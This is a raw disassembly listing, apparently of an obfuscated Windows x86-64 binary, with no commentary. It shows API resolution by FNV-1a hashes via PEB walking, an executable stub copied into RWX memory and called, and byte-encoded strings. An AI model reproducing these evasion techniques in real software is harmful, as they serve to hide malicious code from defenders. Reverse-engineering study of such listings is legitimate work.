jmp 0x140140222
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140140214
jmp 0x140140237
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14014022a
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140140257
cmp qword [rdi + 0x30], rax
jne 0x140140126
mov rdx, rax
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
xor eax, eax
test rdx, rdx
jne 0x1401403d1
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401402e6
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401402d8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401402c7
cmp r8d, esi
jne 0x1401403b3
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401403b3
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401403b3
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14014033a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14014032f
cmp edx, r14d
je 0x140140350
test r9d, r9d
jne 0x14014031a
jmp 0x1401403b3
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401403ca
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401403ca
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140140392
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140140384
jmp 0x1401403a7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14014039a
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401403c7
cmp qword [rdi + 0x30], rax
jne 0x140140296
mov rdx, rax
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
xor eax, eax
test rdx, rdx
jne 0x140140541
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140140456
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140140448
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140140437
cmp r8d, esi
jne 0x140140523
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140140523
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140140523
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401404aa
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14014049f
cmp edx, r14d
je 0x1401404c0
test r9d, r9d
jne 0x14014048a
jmp 0x140140523
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14014053a
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14014053a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140140502
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401404f4
jmp 0x140140517
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14014050a
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140140537
cmp qword [rdi + 0x30], rax
jne 0x140140406
mov rdx, rax
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x1404fc138], rax
jne 0x1401406b0
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401405c3
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401405b5
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401405a4
cmp r8d, esi
jne 0x140140692
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140140692
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140140692
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140140617
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14014060c
cmp edx, r14d
je 0x14014062d
test r9d, r9d
jne 0x1401405f7
jmp 0x140140692
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x1401406a9
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1401406a9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014066f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x140140661
jmp 0x140140685
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x140140678
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401406a6
cmp qword [rdi + 0x30], rax
jne 0x140140573
mov r9, rax
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140140727
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x14014070d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401406ee
cmp r8d, 0x610c0de3
je 0x14014077a
mov r9, qword [r9]
xor eax, eax
cmp r9, r10
je 0x14014071d
cmp qword [r9 + 0x30], rax
jne 0x1401406d3
mov r8, rax
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r10d, dword [r11 + r8 + 0x20]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r13
test al, al
je 0x140140775
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r13
test al, al
jne 0x140140759
cmp ecx, 0xe463da3c
je 0x140140780
add r9d, r13d
jmp 0x14014073d
mov r8, qword [r9 + 0x30]
jmp 0x140140720
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
xor eax, eax
test r10, r10
jne 0x14014091b
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140140825
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140140817
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140140806
cmp r8d, esi
jne 0x1401408f7
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401408f7
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401408f7
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140140879
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014086e
cmp edx, r14d
je 0x14014088f
test r9d, r9d
jne 0x140140859
jmp 0x1401408f7
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14014090e
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14014090e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401408ea
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401408c6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401408dd
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14014090b
cmp qword [rdi + 0x30], rax
jne 0x1401407d5
mov r10, rax
mov qword [0x1404fba00], r10
mov r13d, 1
lea r9, [rbp + 0x11a8]
mov r8d, r13d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
xor eax, eax
test r8, r8
jne 0x140140aa1
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401409b1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401409a3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140140992
cmp r8d, esi
jne 0x140140a83
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140140a83
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140140a83
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140140a05
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401409fa
cmp edx, r14d
je 0x140140a1b
test r9d, r9d
jne 0x1401409e5
jmp 0x140140a83
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x140140a9a
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x140140a9a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140140a76
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x140140a52
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x140140a69
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140140a97
cmp qword [rdi + 0x30], rax
jne 0x140140961
mov r8, rax
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
sub eax, 0x66666667
mov dword [rdx + 0x40], eax
lea rbx, [0x140103dec]
xor eax, eax
mov qword [rbp + 0x28], rax
mov dword [rbp - 0x60], eax
mov qword [rbp], rax
lea rax, [0x140164f20]
mov qword [rbp + 8], rax
xor eax, eax
mov dword [rbp - 0x5c], eax
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], rax
lea rdx, [rbp + 0x4228]
lea rcx, [rbp + 0x68]
call fcn.1400da950
nop
xor edx, edx
mov ecx, edx
mov edi, 0x1f4
lea r14, [0x1400c9ec0]
lea rsi, [0x140000000]
mov rax, qword [0x1404fbad0]
test rax, rax
je 0x140140b69
lea r15d, [rdx + 1]
cmp rax, r14
je 0x140140b56
add ecx, r15d
mov rax, qword [rsi + rcx*8 + 0x4fbad0]
test rax, rax
jne 0x140140b3f
jmp 0x140140b69
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x4fbdf0]
test r10, r10
jne 0x140140c4e
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x140140b92
mov r10d, eax
jmp 0x140140c27
mov rax, r14
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x140140ba1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1404fbac0]
mov qword [rsi + rax*8 + 0x4fbad0], r14
mov qword [rsi + rax*8 + 0x4fbdf0], r10
mov r15d, 1
add rax, r15
mov qword [0x1404fbac0], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 8]
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x38]
mov rcx, rbx
call r10
nop
mov rdx, qword [rbp + 0x68]
xor rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x78]
mov qword [rcx], rdx
mov qword [0x1404fba58], rax
xor eax, eax
mov qword [rbp + 0x18], rax
mov dword [rbp - 0x74], eax
mov qword [rbp - 0x40], rax
lea rax, [0x1400db22c]
mov qword [rbp - 0x30], rax
xor eax, eax
mov dword [rbp - 0x70], eax
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
lea rdx, [rbp + 0x4228]
lea rcx, [rbp + 0x80]
call fcn.1400da950
nop
xor edx, edx
mov ecx, edx
mov rax, qword [0x1404fbad0]
jmp 0x140140cf5
cmp rax, r14
je 0x140140cfc
add ecx, r15d
mov rax, qword [rsi + rcx*8 + 0x4fbad0]
test rax, rax
jne 0x140140ce5
jmp 0x140140d0f
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x4fbdf0]
test r10, r10
jne 0x140140dee
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x140140d38
mov r10d, eax
jmp 0x140140dcd
mov rax, r14
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x140140d47
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1404fbac0]
mov qword [rsi + rax*8 + 0x4fbad0], r14
mov qword [rsi + rax*8 + 0x4fbdf0], r10
add rax, r15
mov qword [0x1404fbac0], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x74]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x28]
mov rcx, rbx
call r10
nop
mov rdx, qword [rbp + 0x80]
xor rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x90]
mov qword [rcx], rdx
mov qword [0x1404fba60], rax
mov byte [0x1404fba44], r15b
xor ebx, ebx
cmp qword [0x1404fba58], rbx
je 0x1401411b7
test rax, rax
je 0x1401411b7
call fcn.140103894
test al, al
je 0x1401411b7
mov rcx, qword [0x1404fba58]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x1401411b7
mov rcx, qword [0x1404fba60]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x1401411b7
mov r12d, 0xbb21e02e
mov rdx, qword [0x1404fc170]
xor eax, eax
test rdx, rdx
jne 0x140141003
mov esi, eax
mov r14d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140140f15
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140140f07
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140140ef6
cmp r8d, esi
jne 0x140140fe5
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140140fe5
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140140fe5
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140140f69
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140140f5e
cmp edx, r14d
je 0x140140f7f
test r9d, r9d
jne 0x140140f49
jmp 0x140140fe5
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140140ffc
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140140ffc
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140140fd9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140140fb6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140140fcc
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140140ff9
cmp qword [rdi + 0x30], rax
jne 0x140140ec5
mov rdx, rax
mov qword [0x1404fc170], rdx
mov rcx, qword [0x1404fba58]
call rdx
mov rdx, qword [0x1404fc170]
xor eax, eax
test rdx, rdx
jne 0x140141178
mov esi, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140141087
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140141079
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140141068
cmp r8d, esi
jne 0x14014115a
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14014115a
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14014115a
mov r11d, dword [r10 + 0x20]
mov r13d, 1
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401410e1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401410d6
cmp edx, r12d
je 0x1401410f7
test r9d, r9d
jne 0x1401410c1
jmp 0x14014115a
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140141171
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140141171
mov eax, 0x811c9dc5
mov esi, eax
mov r12d, eax
jmp 0x140141139
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014112b
jmp 0x14014114e
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140141141
mov rdi, qword [r14]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r14
je 0x14014116e
cmp qword [rdi + 0x30], rax
jne 0x140141037
mov rdx, rax
mov qword [0x1404fc170], rdx
mov rcx, qword [0x1404fba60]
call rdx
mov rcx, qword [0x1404fba58]
call fcn.1401a18d8
mov rcx, qword [0x1404fba60]
call fcn.1401a18d8
mov rcx, qword [0x1404fba58]
call fcn.14019ffd8
mov rcx, qword [0x1404fba60]
call fcn.14019ffd8
mov r15d, 1
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1ca0]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x640], 0xab
mov byte [rbp + 0x641], 0xa3
mov byte [rbp + 0x642], 0x80
mov byte [rbp + 0x643], 0x9a
mov byte [rbp + 0x644], 0xf5
mov byte [rbp + 0x645], 0xf3
mov byte [rbp + 0x646], Ordinal_143
mov byte [rbp + 0x647], 0xfe
mov byte [rbp + 0x648], 0xf7
mov byte [rbp + 0x649], 0xf0
mov byte [rbp + 0x64a], 0x88
mov byte [rbp + 0x64b], __WSAFDIsSet
mov byte [rbp + 0x64c], 0xed
mov byte [rbp + 0x64d], 0xf4
mov byte [rbp + 0x64e], 0xf4
mov byte [rbp + 0x64f], 0xfc
mov byte [rbp + 0x650], 0x85
mov byte [rbp + 0x651], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x652], 0xca
mov byte [rbp + 0x653], 0xf7
mov byte [rbp + 0x654], 0xde
mov byte [rbp + 0x655], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x656], 0x87
mov byte [rbp + 0x657], 0x85
mov byte [rbp + 0x658], 0xf5
mov byte [rbp + 0x659], 0x83
mov byte [rbp + 0x65a], 0x81
mov byte [rbp + 0x65b], 0xff
mov byte [rbp + 0x65c], Ordinal_217
mov byte [rbp + 0x65d], Ordinal_143
mov byte [rbp + 0x65e], 0xf7
mov byte [rbp + 0x65f], Ordinal_211
mov byte [rbp + 0x660], 0x9d
mov byte [rbp + 0x661], 0xea
mov byte [rbp + 0x662], 0x9a
mov byte [rbp + 0x663], 0xef
mov byte [rbp + 0x664], Ordinal_211
mov byte [rbp + 0x665], 0x9c
mov byte [rbp + 0x666], 0x87
mov byte [rbp + 0x667], __WSAFDIsSet
mov byte [rbp + 0x668], reloc.WS2_32.dll_ntohl
xor eax, eax
mov dword [rbp + 0x669], eax
mov word [rbp + 0x66d], ax
mov byte [rbp + 0x66f], al
movabs rsi, 0x8469be116195eb1
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x140141e37
movzx r8d, byte [rbp + r9 + 0x640]
mov rdx, r8
cmp rdi, r9
ja 0x140141e2e
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140141363
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x29
jmp 0x140141390
je 0x140141dad
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140141d28
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140141cfb
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140141cb0
cmp r10, r9
